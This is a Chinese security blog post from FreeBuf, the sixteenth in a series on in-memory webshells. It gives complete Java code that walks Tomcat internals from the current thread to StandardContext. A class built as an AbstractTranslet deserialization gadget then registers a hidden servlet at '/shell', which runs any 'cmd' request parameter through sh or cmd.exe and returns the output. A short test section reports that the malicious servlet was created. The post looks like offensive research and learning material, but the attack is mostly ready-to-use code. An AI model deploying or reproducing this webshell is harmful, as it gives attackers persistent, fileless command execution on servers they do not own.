freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

对上篇注入内存马方式的缩短改造(内存马篇十六)
RoboTerh 2022-11-24 10:57:51 176361
所属地 四川省

前言

这一篇主要是对前面一篇中如何注入内存马的方式做出一小部分的优化

正文

回顾

在上一篇中,主要是通过寻找到了在org.apache.coyote.AbstractProcessor类中存在有request / response两个属性值,并且能够从当前线程中一步一步获取到该类的属性值,从而做到了中间件的回显

而对于内存马的实现,我采用的思路是在获取到了org.apache.coyote.Request对象之后,通过调用getNode(1)来进行org.apache.catelina.connector.Request对象的获取

image-20221103200357612.png

之后在获取了HttpServleetRequest类对象之后,通过调用他的getServletContext方法来获取到ServletContext对象

image-20221103200527214.png

之后就是常规的获取StandardContext对象之后通过调用addChild / addServletMappingDecoded来进行Servlet的动态创建

try {
            // 从线程中获取类加载器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 获取TomcatEmbeddedContext对象
            Context context = contextClassLoader.getResources().getContext();
            // 从上下文中获取ApplicationContext对象
            ApplicationContext applicationContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            // 从Application中获取StandardService对象
            StandardService standardService = (StandardService) getField(applicationContext, Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service"));

            // 从StandardService中获取Connector数组
            Connector[] connectors = standardService.findConnectors();
            for (Connector connector : connectors) {
                if (connector.getScheme().toLowerCase().contains("http")) {
                    // 获取Connector对象的protocolHandler属性值
                    ProtocolHandler protocolHandler = connector.getProtocolHandler();
                    // 筛选我们需要的Abstract
                    if (protocolHandler instanceof AbstractProtocol) {
                        // 从Http11NioProtocol对象中获取到handler属性,也即是AbstractProtocol中的handler属性,存在有一个getHandler方法可以直接返回
                        // 反射获取该方法
                        Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
                        getHandler.setAccessible(true);
                        AbstractEndpoint.Handler handler = (AbstractEndpoint.Handler) getHandler.invoke(protocolHandler);
                        // 从上面获取的handler中取出global属性值
                        RequestGroupInfo global = (RequestGroupInfo) getField(handler, Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global"));
                        // 之后从上面获取的RequestGroupInfo对象中获取到processors这个List对象,元素是RequestInfo对象
                        ArrayList processors = (ArrayList) getField(global, Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors"));
                        // 遍历List中的元素
                        for (Object processor : processors) {
                            RequestInfo requestInfo = (RequestInfo) processor;
                            // 获取对应的Request对象
                            org.apache.coyote.Request req = (org.apache.coyote.Request) getField(requestInfo, Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req"));
                            org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) req.getNote(1);

                            ServletContext servletContext = request.getServletContext();

                            String name = "RoboTerh";
                            if (servletContext.getServletRegistration(name) == null) {
                                StandardContext o = null;

                                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                                while (o == null) {
                                    Field f = servletContext.getClass().getDeclaredField("context");
                                    f.setAccessible(true);
                                    Object object = f.get(servletContext);

                                    if (object instanceof ServletContext) {
                                        servletContext = (ServletContext) object;
                                    } else if (object instanceof StandardContext) {
                                        o = (StandardContext) object;
                                    }
                                }

                                //自定义servlet
                                Servlet servlet = new TomcatMemshell1();

                                //用Wrapper封装servlet
                                Wrapper newWrapper = o.createWrapper();
                                newWrapper.setName(name);
                                newWrapper.setLoadOnStartup(1);
                                newWrapper.setServlet(servlet);

                                //向children中添加Wrapper
                                o.addChild(newWrapper);
                                //添加servlet的映射
                                o.addServletMappingDecoded("/shell", name);

                            }
                        }
                    }
                }
            }

修改

但是我们这里的目的不是中间件的回显,而是找到注入内存马的通用思路,我们只需要获取到一个Context上下文对象就能够成功注入到内存马

我们直接可以通过从当前线程中获取到ApplicationContext这个上下文对象,直接进行后续的动态创建Servlet的操作,完全没必要获取到request对象之后在进行处理之后进行注入

修改后的代码

package pers.cc;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.Context;
import org.apache.catalina.Wrapper;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardContext;
import org.apache.catalina.loader.WebappClassLoaderBase;

import javax.servlet.*;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.util.Scanner;

public class TomcatMemshell2 extends AbstractTranslet implements Servlet{
    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    public static Object getField(Object obj, Field field) {
        try {
            field.setAccessible(true);
            return field.get(obj);
        } catch (Exception e) {
        }
        return null;
    }

    static {
        try {
            // 从线程中获取类加载器WebappClassLoaderBase
            WebappClassLoaderBase contextClassLoader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
            // 获取TomcatEmbeddedContext对象
            Context context = contextClassLoader.getResources().getContext();
            // 从上下文中获取ApplicationContext对象
            ApplicationContext servletContext = (ApplicationContext) getField(context, Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context"));

            String name = "RoboTerh";
            if (servletContext.getServletRegistration(name) == null) {
                StandardContext o = null;

                // 从 request 的 ServletContext 对象中循环判断获取 Tomcat StandardContext 对象
                while (o == null) {
                    Field f = servletContext.getClass().getDeclaredField("context");
                    f.setAccessible(true);
                    Object object = f.get(servletContext);

                    if (object instanceof StandardContext) {
                        o = (StandardContext) object;
                    }
                }

                //自定义servlet
                Servlet servlet = new TomcatMemshell2();

                //用Wrapper封装servlet
                Wrapper newWrapper = o.createWrapper();
                newWrapper.setName(name);
                newWrapper.setLoadOnStartup(1);
                newWrapper.setServlet(servlet);

                //向children中添加Wrapper
                o.addChild(newWrapper);
                //添加servlet的映射
                o.addServletMappingDecoded("/shell", name);

            }
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    @Override
    public void init(ServletConfig servletConfig) throws ServletException {

    }

    @Override
    public ServletConfig getServletConfig() {
        return null;
    }

    @Override
    public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
        String cmd = servletRequest.getParameter("cmd");
        boolean isLinux = true;
        String osTyp = System.getProperty("os.name");
        if (osTyp != null && osTyp.toLowerCase().contains("win")) {
            isLinux = false;
        }
        String[] cmds = isLinux ? new String[]{"sh", "-c", cmd} : new String[]{"cmd.exe", "/c", cmd};
        InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
        Scanner s = new Scanner(in).useDelimiter("\\a");
        String output = s.hasNext() ? s.next() : "";
        PrintWriter out = servletResponse.getWriter();
        out.println(output);
        out.flush();
        out.close();
    }

    @Override
    public String getServletInfo() {
        return null;
    }

    @Override
    public void destroy() {

    }
}

测试

同样是之前的测试环境

发送序列化数据

image-20221103201103941.png

成功执行反序列化的逻辑,没有报错

image-20221103201141570.png

之后可以验证,成功创建了一个恶意的Servlet

image-20221103201213084.png

# web安全 # 网络安全技术
本文为 RoboTerh 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
RoboTerh LV.5
Q 2865153524
  • 39 文章数
  • 92 关注者
JSP型内存马的原理学习与实现
2023-09-08
攻防渗透 | WebsocketAndTimer内存马的查杀分析和代码实现
2023-07-16
ExecutorAndUpgrade内存马的查杀分析和代码实现
2023-07-05
文章目录